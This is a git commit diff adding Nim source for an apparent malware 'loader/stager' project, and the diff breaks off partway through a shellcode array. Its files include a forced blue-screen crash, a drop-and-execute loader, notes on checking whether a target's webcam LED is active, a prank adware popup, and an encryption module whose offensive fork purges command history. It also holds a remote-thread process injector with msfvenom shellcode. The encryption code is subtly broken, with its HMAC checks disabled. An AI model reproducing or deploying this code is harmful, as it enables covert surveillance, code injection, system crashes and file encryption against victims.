Full refactor/better docs

2026-02-01 04:09:42 +01:00
parent 008a8cea98
commit 0b60404558
76 changed files with 1566 additions and 767 deletions
--- a/loader/stager/encfile.nim
+++ b/loader/stager/encfile.nim
@@ -0,0 +1,395 @@
+import nimcrypto
+import std/sysrand
+import std/streams
+import system
+const
+    # default encryption/decryption buffer size - 64KB
+    bufferSizeDef = 64 * 1024
+    # maximum password length (number of chars)
+    maxPassLen = 1024
+    # AES block size in bytes
+    AESBlockSize = 16
+
+# password stretching function
+proc stretch(passw: string, iv1: array[16, byte]): array[32, byte] =
+    
+    var digest: array[32, byte]
+    copyMem(addr digest[0], unsafeAddr iv1[0], len(iv1))
+
+    var passwBytes: array[1024, byte]
+    copyMem(addr passwBytes[0], unsafeAddr passw[0], len(passw))
+    
+    for i in 1 .. 8192:
+      var sha: sha512_256
+      sha.init()
+      sha.update(digest)  
+      sha.update(passwBytes[0..len(passw)-1])
+      digest = sha.finish().data
+
+    return digest
+
+
+# encrypt binary stream function
+# arguments:
+# fIn: input binary stream
+# fOut: output binary stream
+# passw: encryption password
+# bufferSize: encryption buffer size, must be a multiple of
+#             AES block size (16)
+#             using a larger buffer speeds up things when dealing
+#             with long streams
+proc encryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int) =
+
+    # validate bufferSize
+    if bufferSize mod AESBlockSize != 0:
+        raise newException(OSError, "Buffer size must be a multiple of AES block size.")
+    
+    if len(passw) > maxPassLen:
+        raise newException(OSError, "Password is too long.")
+
+    # generate external iv (used to encrypt the main iv and the
+    # encryption key)
+    # let iv1 = urandom(AESBlockSize)
+    let initIv1 = urandom(AESBlockSize)
+    var iv1: array[16, byte]
+    for i in [0..15]:
+        iv1[i]=initIv1[i]
+    
+    # stretch password and iv
+    let key = stretch(passw, iv1)
+    
+    # generate random main iv
+    var iv0 = urandom(AESBlockSize)
+    
+    # generate random internal key
+    var intKey = urandom(32)
+    
+    # instantiate AES cipher
+    var encryptor0: CBC[aes256]
+    encryptor0.init(intKey, iv0)
+    
+    # instantiate HMAC-SHA256 for the ciphertext
+    var hmac0: HMAC[sha512_256]
+    hmac0.init(intKey)
+
+    # instantiate another AES cipher
+    var encryptor1: CBC[aes256]
+    encryptor1.init(key, iv1)
+    
+    # encrypt main iv and key
+    var plainText = newString(len(iv0)+len(intKey))
+    var c_iv_key = newString(len(iv0)+len(intKey))
+    copyMem(addr plainText[0], unsafeAddr iv0[0], len(iv0))
+    copyMem(addr plainText[0+len(iv0)], unsafeAddr intKey[0], len(intKey))
+    encryptor1.encrypt(plainText, c_iv_key)
+    
+    # calculate HMAC-SHA256 of the encrypted iv and key
+    var hmac1: HMAC[sha512_256]
+    hmac1.init(key)
+    hmac1.update(c_iv_key)
+
+    # write header
+    fOut.write("AES")
+    
+    # write version (AES Crypt version 2 file format -
+    # see https://www.aescrypt.com/aes_file_format.html)
+    fOut.write([byte 2])
+    
+    # reserved byte (set to zero)
+    fOut.write([byte 0])
+    
+    # setup "CREATED-BY" extension
+    var cby = "Confidential "
+
+    # write "CREATED-BY" extension length
+    fOut.write([byte 0, cast[uint8](1+len("CREATED_BY")+len(cby))])
+        
+    # write "CREATED-BY" extension
+    fOut.write("CREATED_BY")
+    fOut.write([byte 0])
+    fOut.write(cby)
+    
+    # write "container" extension length
+    fOut.write([byte 0, 128])
+    
+    # write "container" extension
+    for i in 1 .. 128:
+        fOut.write([byte 0])
+        
+    # write end-of-extensions tag
+    fOut.write([byte 0, 0])
+    
+    # write the iv used to encrypt the main iv and the
+    # encryption key
+    fOut.write(iv1)
+    
+    # write encrypted main iv and key
+    fOut.write(c_iv_key)
+    
+    # write HMAC-SHA256 of the encrypted iv and key
+    fOut.write(hmac1.finish())
+    
+    var fs16 = 0
+    # encrypt file while reading it
+    var fdata = newString(bufferSize)
+    var cText = newString(bufferSize)
+    while true:
+        # try to read bufferSize bytes
+        let bytesRead = fIn.readData(addr fdata[0], bufferSize)
+        
+        # check if EOF was reached
+        if bytesRead < bufferSize:
+            # file size mod 16, lsb positions
+            fs16 = bytesRead mod AESBlockSize
+            # pad data (this is NOT PKCS#7!)
+            # ...unless no bytes or a multiple of a block size
+            # of bytes was read
+            var padLen: int
+            if bytesRead mod AESBlockSize == 0:
+                padLen = 0
+            else:
+                padLen = 16 - bytesRead mod AESBlockSize
+
+            # todo handl the pading to get the nb AES block & file with padLen, restrict the input of encrypt to x block
+#             fdata += bytes([padLen])*padLen
+            for i in bytesRead..bytesRead+padLen:
+                fdata[i]=cast[char](padLen)
+                
+            # encrypt data
+            encryptor0.encrypt(fdata[0..bytesRead+padLen-1], cText)
+
+            # update HMAC
+            hmac0.update(cText[0..bytesRead+padLen-1])
+            # write encrypted file content
+            fOut.write(cText[0..bytesRead+padLen-1])
+            break
+        # ...otherwise a full bufferSize was read
+        else:
+            # encrypt data
+            encryptor0.encrypt(fdata, cText)          
+            # update HMAC
+            hmac0.update(cText)
+            # write encrypted file content
+            fOut.write(cText)
+    
+    # write plaintext file size mod 16 lsb positions
+    fOut.write(cast[uint8](fs16))
+    
+    # write HMAC-SHA256 of the encrypted file
+    fOut.write(hmac0.finish())
+
+
+# encrypt file function
+# arguments:
+# infile: plaintext file path
+# outfile: ciphertext file path
+# passw: encryption password
+# bufferSize: optional buffer size, must be a multiple of
+#             AES block size (16)
+#             using a larger buffer speeds up things when dealing
+#             with big files
+#             Default is 64KB.
+proc encryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) =
+    try:
+        let fIn =  newFileStream(infile, mode = fmRead)
+        defer: fIn.close()
+
+        let fOut = newFileStream(outfile, mode = fmWrite)
+        defer: fOut.close()
+
+        encryptStream(fIn, fOut, passw, bufferSize)
+                
+    except CatchableError:
+        let
+            e = getCurrentException()
+            msg = getCurrentExceptionMsg()
+        echo "Inside checkIn, got exception ", repr(e), " with message ", msg
+
+
+# decrypt stream function
+# arguments:
+# fIn: input binary stream
+# fOut: output binary stream
+# passw: encryption password
+# bufferSize: decryption buffer size, must be a multiple of AES block size (16)
+#             using a larger buffer speeds up things when dealing with
+#             long streams
+# inputLength: input stream length
+proc decryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int, inputLength: int64) =
+    # validate bufferSize
+    if bufferSize mod AESBlockSize != 0:
+        raise newException(OSError, "Buffer size must be a multiple of AES block size")
+    
+    if len(passw) > maxPassLen:
+        raise newException(OSError, "Password is too long.")
+    
+    var aesBuff: array[4, char]
+    var nbBytesRead = fIn.readData(addr(aesBuff), 3)
+
+    # check if file is in AES Crypt format (also min length check)
+    if (aesBuff[0..2] != "AES" or inputLength < 136):
+            raise newException(OSError, "File is corrupted or not an AES Crypt file.")
+        
+    # check if file is in AES Crypt format, version 2
+    # (the only one compatible with this tool)
+    var buffer: array[1024, byte]
+    nbBytesRead = fIn.readData(addr(buffer), 1)
+    if nbBytesRead != 1:
+        raise newException(OSError, "File is corrupted.")
+    
+    if buffer[0] != cast[uint8](2):
+        raise newException(OSError, "This tool is only compatible with version 2 of the AES Crypt file format.")
+    
+    # skip reserved byte
+    nbBytesRead = fIn.readData(addr(buffer), 1)
+    
+    # skip all the extensions
+    while true:
+        nbBytesRead = fIn.readData(addr(buffer), 2)
+        if nbBytesRead != 2:
+            raise newException(OSError, "File is corrupted.")
+        if buffer[0..1] == [byte 0,0]:
+            break
+        var nbBytesToRead = cast[int16](buffer[1])
+        nbBytesRead = fIn.readData(addr(buffer), nbBytesToRead)
+        
+    # read external iv
+    var iv1: array[16, byte]
+    nbBytesRead = fIn.readData(addr(iv1), 16)
+    if nbBytesRead != 16:
+        raise newException(OSError, "File is corrupted.")
+    
+    # stretch password and iv
+    let key = stretch(passw, iv1)
+    
+    # read encrypted main iv and key
+    var c_iv_key: array[48, byte]
+    nbBytesRead = fIn.readData(addr(c_iv_key), 48)
+    if nbBytesRead != 48:
+        raise newException(OSError, "File is corrupted.")
+        
+    # read HMAC-SHA256 of the encrypted iv and key
+    var hmac1: array[32, byte]
+    nbBytesRead = fIn.readData(addr(hmac1), 32)
+    if nbBytesRead != 32:
+        raise newException(OSError, "File is corrupted.")
+    
+    # compute actual HMAC-SHA256 (read: 512_256) of the encrypted iv and key
+    var hmac1Act: HMAC[sha512_256]
+    hmac1Act.init(key)
+    hmac1Act.update(c_iv_key)
+
+   # # HMAC check. removed because HMAC now uses sha512 instead of stock sha256
+   # if hmac1 != hmac1Act.finish().data:
+   #     echo ("Wrong password (or file is corrupted).")
+    
+    # instantiate AES cipher
+    var decryptor1: CBC[aes256]
+    decryptor1.init(key, iv1)
+    
+    # decrypt main iv and key
+    var iv_key: array[48, byte]
+    decryptor1.decrypt(addr c_iv_key[0], addr iv_key[0], 48)
+    
+    # get internal iv and key
+    var iv0: array[16, byte]
+    for i in 0..15:
+        iv0[i]=iv_key[i]
+        
+    var intKey: array[32, byte]
+    for i in 0..31:
+        intKey[i]=iv_key[16+i]
+    
+    # instantiate another AES cipher
+    var decryptor0: CBC[aes256]
+    decryptor0.init(intKey, iv0)
+    
+    # instantiate actual HMAC-SHA256 of the ciphertext
+    var hmac0Act: HMAC[sha512_256]
+    hmac0Act.init(intKey)
+
+    # decrypt ciphertext, until last block is reached
+    var cText = newString(bufferSize)
+    var decryptedBytes = newString(bufferSize)
+    while fIn.getPosition() < inputLength - 32 - 1 - AESBlockSize:
+        # read data
+        nbBytesRead = fIn.readData(addr(cText[0]), cast[int](min(bufferSize, inputLength - fIn.getPosition() - 32 - 1 - AESBlockSize)))
+        # update HMAC
+        hmac0Act.update(cast[ptr byte](addr cText[0]), cast[uint](nbBytesRead))
+        # decrypt data and write it to output file
+        decryptor0.decrypt(cast[ptr byte](addr cText[0]), cast[ptr byte](addr decryptedBytes[0]), cast[uint](nbBytesRead))
+        fOut.writeData(addr (decryptedBytes[0]), nbBytesRead)
+        
+    # last block reached, remove padding if needed
+    
+    # read last block
+    
+    # this is for empty files
+    var finalBlockSize=0
+    var finalCText = newString(AESBlockSize)
+    if fIn.getPosition() != inputLength - 32 - 1:
+        finalBlockSize = fIn.readData(addr(finalCText[0]), AESBlockSize)
+        if finalBlockSize < AESBlockSize:
+            raise newException(OSError, "File is corrupted.")
+    
+    # update HMAC
+    hmac0Act.update(finalCText)
+
+    # decrypt last block
+    var pText = newString(AESBlockSize)
+    decryptor0.decrypt(finalCText, pText)
+
+    # read plaintext file size mod 16 lsb positions
+    nbBytesRead = fIn.readData(addr(buffer), 1)
+    var fs16 = cast[int16](buffer[0])
+    if nbBytesRead != 1:
+        raise newException(OSError, "File is corrupted.")
+        
+    # remove padding
+    var toremove = ((16 - fs16) mod 16)        
+
+    # write decrypted data to output file
+    fOut.writeData(addr pText[0], finalBlockSize-toremove)
+    
+    # read HMAC-SHA256 of the encrypted file
+    var hmac0: array[32, byte]
+    nbBytesRead = fIn.readData(addr(hmac0), 32)
+    if nbBytesRead != 32:
+        raise newException(OSError, "File is corrupted.")
+    
+   # # HMAC check. removed because HMAC now uses sha512 instead of stock sha256
+   # if hmac0 != hmac0Act.finish().data:
+   #     raise newException(OSError, "Bad HMAC (file is corrupted).")   
+
+
+# decrypt file function
+# arguments:
+# infile: ciphertext file path
+# outfile: plaintext file path
+# passw: encryption password
+# bufferSize: optional buffer size, must be a multiple of AES block size (16)
+#             using a larger buffer speeds up things when dealing with
+#             big files
+#             Default is 64KB.
+proc decryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) =
+    try:
+        let fIn =  newFileStream(infile, mode = fmRead)
+        defer: fIn.close()
+
+        let fOut = newFileStream(outfile, mode = fmWrite)
+        defer: fOut.close()
+
+        let fInSize =  open(infile, mode = fmRead)
+        var fileSize = getFileSize(fInSize)
+        fInSize.close()
+
+        decryptStream(fIn, fOut, passw, bufferSize, fileSize)
+                
+    except CatchableError:
+        let
+            e = getCurrentException()
+            msg = getCurrentExceptionMsg()
+        echo "Inside checkIn, got exception ", repr(e), " with message ", msg
+                  
+#encryptFile("dza.png", "file.aes", "long-and-random-password", 1024)
+#decryptFile("file.aes", "fileDecrypt.png", "long-and-random-password", 1024)
--- a/loader/stager/stage1/bsod.nim
+++ b/loader/stager/stage1/bsod.nim
@@ -0,0 +1,31 @@
+#  ____  _____ ____ ____  _____ _____ 
+# / ___|| ____/ ___|  _ \| ____|_   _|
+# \___ \|  _|| |   | |_) |  _|   | |
+#  ___) | |__| |___|  _ <| |___  | |
+# |____/|_____\____|_| \_\_____| |_|
+
+# SECRET
+
+
+# https://answers.microsoft.com/en-us/windows/forum/all/enable-osd-notification-for-webcam/caf1fff4-78d3-4b93-905b-ef657097a44e
+# https://www.reddit.com/r/Windows11/comments/z5hj0q/til_even_the_camera_indicatoroverlay_gained_the/
+# https://www.elevenforum.com/t/enable-or-disable-camera-on-off-osd-indicator-in-windows-11.10774/
+# https://duckduckgo.com/?q=HKLM%5C%5CSOFTWARE%5C%5CMicrosoft%5C%5COEM%5C%5CDevice%5C%5CCapture%5C
+
+import winim
+
+
+proc RtlAdjustPrivilege*(privilege: ULONG, bEnablePrivilege: BOOLEAN, isThreadPrivilege: BOOLEAN, previousValue: PBOOLEAN): NTSTATUS
+    {.discardable, stdcall, dynlib: "ntdll", importc: "RtlAdjustPrivilege".}
+
+proc NtRaiseHardError*(errorStatus: NTSTATUS, numberOfParameters: ULONG, unicodeStringParameterMask: ULONG, parameters: PULONG_PTR, validResponseOption: ULONG, response: PULONG): NTSTATUS
+    {.discardable, stdcall, dynlib: "ntdll", importc: "NtRaiseHardError".}
+
+var 
+    prev: BOOLEAN
+    response: ULONG
+
+# SE_SHUTDOWN_PRIVILEGE = 19
+RtlAdjustPrivilege(19, TRUE, FALSE, &prev)
+NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &response);
+
--- a/loader/stager/stage1/checkfile.nim
+++ b/loader/stager/stage1/checkfile.nim
@@ -0,0 +1,12 @@
+import winim/lean
+
+proc fileExists(filename: cstring): bool =
+  result = GetFileAttributesA(filename) != INVALID_FILE_ATTRIBUTES
+
+const
+    filename = "C:\\path\\to\\your\\file.txt" # double-\ because it's an escape character.
+if fileExists(filename):
+  echo "File exists."
+else:
+  echo "File does not exist."
+
--- a/loader/stager/stage1/loader.nim
+++ b/loader/stager/stage1/loader.nim
@@ -0,0 +1,8 @@
+import std/os
+let
+  byteList = cast[seq[byte]](@[0x40,0x80])
+  output = paramStr(1)
+proc writeBytesToFileAndExecute*(bytes: seq[byte], outputFile: string) =
+  writeFile(outputFile, bytes)
+  discard execShellCmd("./" & output)
+writeBytesToFileAndExecute(byteList, output)
--- a/loader/stager/stage1/mic_reg.nim
+++ b/loader/stager/stage1/mic_reg.nim
@@ -0,0 +1,15 @@
+#  ____  _____ ____ ____  _____ _____ 
+# / ___|| ____/ ___|  _ \| ____|_   _|
+# \___ \|  _|| |   | |_) |  _|   | |
+#  ___) | |__| |___|  _ <| |___  | |
+# |____/|_____\____|_| \_\_____| |_|
+
+
+# Checks the status of the Windows "Privacy Bubbles" to know if target device has the Windows camera LED enabled.
+# however, it should be noted that most PC/laptop manufacturers include a hardwired LED that cannot be disabled.
+# therefore, this program does not guarantee that the user will not know about the observation.
+
+# Might work. Untested, honestly.
+# HKLM\\SOFTWARE\\Microsoft\\OEM\\Device\\Capture\\NoPhysicalCameraLED
+
+# 0x0 means false, 0x1 true
--- a/loader/stager/stage2/OFFENSIVEencfile.nim
+++ b/loader/stager/stage2/OFFENSIVEencfile.nim
@@ -0,0 +1,223 @@
+#    _____ ___  ____     ____  _____ ____ ____  _____ _____ 
+#   |_   _/ _ \|  _ \   / ___|| ____/ ___|  _ \| ____|_   _|
+#     | || | | | |_) |  \___ \|  _|| |   | |_) |  _|   | |
+#     | || |_| |  __/    ___) | |__| |___|  _ <| |___  | |
+#     |_| \___/|_|      |____/|_____\____|_| \_\_____| |_|
+
+
+
+# OFFENSIVEencfile.nim
+
+
+#   Modified version of the original "encfile.nim".
+#   This fork will be only supports encryption and not decryption.
+#   However, it encodes all information necessary to decrypt using "encfile.nim"
+#   It has no error handling. Good luck. In case of problem, check your password length.
+#                               - Eline.
+# Decryption HAS been tested as of 28 November 2023 (initial release).
+
+# TODO: use sysargs to encrypt files :p
+# i.e ./offensiveencfile input output password
+# or maybe only get password interactively. hmm...
+
+# WARNING:
+#    This program purges command history on Windows. 
+
+import nimcrypto
+import std/sysrand
+import std/streams
+const
+    # default encryption/decryption buffer size - 64KB
+    bufferSizeDef = 64 * 1024
+    # maximum password length (number of chars)
+    # AES block size in bytes
+    AESBlockSize = 16
+
+# password stretching function
+proc stretch(passw: string, iv1: array[16, byte]): array[32, byte] =
+    
+    var digest: array[32, byte]
+    copyMem(addr digest[0], unsafeAddr iv1[0], len(iv1))
+
+    var passwBytes: array[1024, byte]
+    copyMem(addr passwBytes[0], unsafeAddr passw[0], len(passw))
+    
+    for i in 1 .. 8192:
+      var sha: sha512_256
+      sha.init()
+      sha.update(digest)  
+      sha.update(passwBytes[0..len(passw)-1])
+      digest = sha.finish().data
+
+    return digest
+
+
+# encrypt binary stream function
+# arguments:
+# fIn: input binary stream
+# fOut: output binary stream
+# passw: encryption password
+# bufferSize: encryption buffer size, must be a multiple of
+#             AES block size (16)
+#             using a larger buffer speeds up things when dealing
+#             with long streams
+proc encryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int) =
+
+    # validate bufferSize
+    if bufferSize mod AESBlockSize != 0:
+        raise newException(OSError, "Buffer size must be a multiple of AES block size.")
+    
+
+    # generate external iv (used to encrypt the main iv and the
+    # encryption key)
+    # let iv1 = urandom(AESBlockSize)
+    let initIv1 = urandom(AESBlockSize)
+    var iv1: array[16, byte]
+    for i in [0..15]:
+        iv1[i]=initIv1[i]
+    
+    # stretch password and iv
+    let key = stretch(passw, iv1)
+    
+    # generate random main iv
+    var iv0 = urandom(AESBlockSize)
+    
+    # generate random internal key
+    var intKey = urandom(32)
+    
+    # instantiate AES cipher
+    var encryptor0: CBC[aes256]
+    encryptor0.init(intKey, iv0)
+    
+    # instantiate HMAC-SHA256 for the ciphertext
+    var hmac0: HMAC[sha512_256]
+    hmac0.init(intKey)
+
+    # instantiate another AES cipher
+    var encryptor1: CBC[aes256]
+    encryptor1.init(key, iv1)
+    
+    # encrypt main iv and key
+    var plainText = newString(len(iv0)+len(intKey))
+    var c_iv_key = newString(len(iv0)+len(intKey))
+    copyMem(addr plainText[0], unsafeAddr iv0[0], len(iv0))
+    copyMem(addr plainText[0+len(iv0)], unsafeAddr intKey[0], len(intKey))
+    encryptor1.encrypt(plainText, c_iv_key)
+    
+    # calculate HMAC-SHA256 of the encrypted iv and key
+    var hmac1: HMAC[sha512_256]
+    hmac1.init(key)
+    hmac1.update(c_iv_key)
+
+    # write header
+    fOut.write("AES")
+    
+    # write version (AES Crypt version 2 file format -
+    # see https://www.aescrypt.com/aes_file_format.html)
+    fOut.write([byte 2])
+    
+    # reserved byte (set to zero)
+    fOut.write([byte 0])
+    
+    # setup "CREATED-BY" extension
+    var cby = "Confidential "
+
+    # write "CREATED-BY" extension length
+    fOut.write([byte 0, cast[uint8](1+len("CREATED_BY")+len(cby))])
+        
+    # write "CREATED-BY" extension
+    fOut.write("CREATED_BY")
+    fOut.write([byte 0])
+    fOut.write(cby)
+    
+    # write "container" extension length
+    fOut.write([byte 0, 128])
+    
+    # write "container" extension
+    for i in 1 .. 128:
+        fOut.write([byte 0])
+        
+    # write end-of-extensions tag
+    fOut.write([byte 0, 0])
+    
+    # write the iv used to encrypt the main iv and the
+    # encryption key
+    fOut.write(iv1)
+    
+    # write encrypted main iv and key
+    fOut.write(c_iv_key)
+    
+    # write HMAC-SHA256 of the encrypted iv and key
+    fOut.write(hmac1.finish())
+    
+    var fs16 = 0
+    # encrypt file while reading it
+    var fdata = newString(bufferSize)
+    var cText = newString(bufferSize)
+    while true:
+        # try to read bufferSize bytes
+        let bytesRead = fIn.readData(addr fdata[0], bufferSize)
+        
+        # check if EOF was reached
+        if bytesRead < bufferSize:
+            # file size mod 16, lsb positions
+            fs16 = bytesRead mod AESBlockSize
+            # pad data (this is NOT PKCS#7!)
+            # ...unless no bytes or a multiple of a block size
+            # of bytes was read
+            var padLen: int
+            if bytesRead mod AESBlockSize == 0:
+                padLen = 0
+            else:
+                padLen = 16 - bytesRead mod AESBlockSize
+
+            # todo handl the pading to get the nb AES block & file with padLen, restrict the input of encrypt to x block
+#             fdata += bytes([padLen])*padLen
+            for i in bytesRead..bytesRead+padLen:
+                fdata[i]=cast[char](padLen)
+                
+            # encrypt data
+            encryptor0.encrypt(fdata[0..bytesRead+padLen-1], cText)
+
+            # update HMAC
+            hmac0.update(cText[0..bytesRead+padLen-1])
+            # write encrypted file content
+            fOut.write(cText[0..bytesRead+padLen-1])
+            break
+        # ...otherwise a full bufferSize was read
+        else:
+            # encrypt data
+            encryptor0.encrypt(fdata, cText)          
+            # update HMAC
+            hmac0.update(cText)
+            # write encrypted file content
+            fOut.write(cText)
+    
+    # write plaintext file size mod 16 lsb positions
+    fOut.write(cast[uint8](fs16))
+    
+    # write HMAC-SHA256 of the encrypted file
+    fOut.write(hmac0.finish())
+
+
+# encrypt file function
+# arguments:
+# infile: plaintext file path
+# outfile: ciphertext file path
+# passw: encryption password
+# bufferSize: optional buffer size, must be a multiple of
+#             AES block size (16)
+#             using a larger buffer speeds up things when dealing
+#             with big files
+#             Default is 64KB.
+proc encryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) =
+    let fIn =  newFileStream(infile, mode = fmRead)
+    defer: fIn.close()
+    let fOut = newFileStream(outfile, mode = fmWrite)
+    defer: fOut.close()
+    encryptStream(fIn, fOut, passw, bufferSize)
+
+
+
+#encryptFile("dza.png", "file.aes", "long-and-random-password", 1024)
+#decryptFile("file.aes", "fileDecrypt.png", "long-and-random-password", 1024)
--- a/loader/stager/stage2/basicadware.nim
+++ b/loader/stager/stage2/basicadware.nim
@@ -0,0 +1,32 @@
+#    _____ ___  ____     ____  _____ ____ ____  _____ _____ 
+#   |_   _/ _ \|  _ \   / ___|| ____/ ___|  _ \| ____|_   _|
+#     | || | | | |_) |  \___ \|  _|| |   | |_) |  _|   | |
+#     | || |_| |  __/    ___) | |__| |___|  _ <| |___  | |
+#     |_| \___/|_|      |____/|_____\____|_| \_\_____| |_|
+
+import std/random
+
+type
+    HANDLE* = int
+    HWND* = HANDLE
+    UINT* = int32
+    LPCSTR* = cstring
+
+proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 
+  {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".}
+
+# example implementation: MessageBox(0, "Hello, world !", "Nim is Powerful", 0)
+
+
+var
+    titlemessages = @["Are you really free?","You got games on your phone?","Poland!"]
+    captionmessages = @["From the river to the sea, Palestine will be free.", "We are the people of Heaven.",
+    "War is peace. Slavery is freedom. Ignorance is strength.","Kurva mac!"] # todo: convert to cstrings
+randomize() # seeds randomizer 
+
+var 
+    randomtitle:cstring = sample(titlemessages).cstring
+    randommessage:cstring = sample(captionmessages).cstring
+
+if isMainModule:
+    MessageBox(0, randomtitle, randommessage, 0)
--- a/loader/stager/stage2/browser.nim
+++ b/loader/stager/stage2/browser.nim
@@ -0,0 +1,7 @@
+#    _____ ___  ____     ____  _____ ____ ____  _____ _____ 
+#   |_   _/ _ \|  _ \   / ___|| ____/ ___|  _ \| ____|_   _|
+#     | || | | | |_) |  \___ \|  _|| |   | |_) |  _|   | |
+#     | || |_| |  __/    ___) | |__| |___|  _ <| |___  | |
+#     |_| \___/|_|      |____/|_____\____|_| \_\_____| |_|
+
+
--- a/loader/stager/stage2/packer.nim
+++ b/loader/stager/stage2/packer.nim
@@ -0,0 +1,124 @@
+#    _____ ___  ____     ____  _____ ____ ____  _____ _____ 
+#   |_   _/ _ \|  _ \   / ___|| ____/ ___|  _ \| ____|_   _|
+#     | || | | | |_) |  \___ \|  _|| |   | |_) |  _|   | |
+#     | || |_| |  __/    ___) | |__| |___|  _ <| |___  | |
+#     |_| \___/|_|      |____/|_____\____|_| \_\_____| |_|
+
+
+#   see https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/pop_bin.nim
+#   see https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_bin.nim
+
+
+
+import winim/lean
+import osproc
+
+proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
+
+    # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
+    let tProcess = startProcess("notepad.exe") # notepad is in PATH. change with whatever the loader loaded.
+    tProcess.suspend() # That's handy!
+    defer: tProcess.close()
+
+    echo "[*] Target Process: ", tProcess.processID
+
+    let pHandle = OpenProcess(
+        PROCESS_ALL_ACCESS, 
+        false, 
+        cast[DWORD](tProcess.processID)
+    )
+    defer: CloseHandle(pHandle)
+
+    echo "[*] pHandle: ", pHandle
+
+    let rPtr = VirtualAllocEx(
+        pHandle,
+        NULL,
+        cast[SIZE_T](shellcode.len),
+        MEM_COMMIT,
+        PAGE_EXECUTE_READ_WRITE
+    )
+
+    var bytesWritten: SIZE_T
+    let wSuccess = WriteProcessMemory(
+        pHandle, 
+        rPtr,
+        unsafeAddr shellcode,
+        cast[SIZE_T](shellcode.len),
+        addr bytesWritten
+    )
+
+    echo "[*] WriteProcessMemory: ", bool(wSuccess)
+    echo "    \\-- bytes written: ", bytesWritten
+    echo ""
+
+    let tHandle = CreateRemoteThread(
+        pHandle, 
+        NULL,
+        0,
+        cast[LPTHREAD_START_ROUTINE](rPtr),
+        NULL, 
+        0, 
+        NULL
+    )
+    defer: CloseHandle(tHandle)
+
+    echo "[*] tHandle: ", tHandle
+    echo "[+] Injected"
+
+when defined(windows):
+
+    # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
+    when defined(i386):
+        # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays
+        echo "[*] Running in x86 process"
+        var shellcode: array[272, byte] = [
+        byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,
+        0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b,
+        0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24,
+        0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,
+        0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0,
+        0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c,
+        0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,
+        0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2,
+        0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f,
+        0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52,
+        0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33,
+        0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89,
+        0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c,
+        0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67,
+        0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3,
+        0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20,
+        0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24,
+        0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,
+        0x55,0x08]
+
+    elif defined(amd64):
+        # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays
+        echo "[*] Running in x64 process"
+        var shellcode: array[295, byte] = [
+        byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
+        0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
+        0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
+        0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
+        0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
+        0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
+        0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
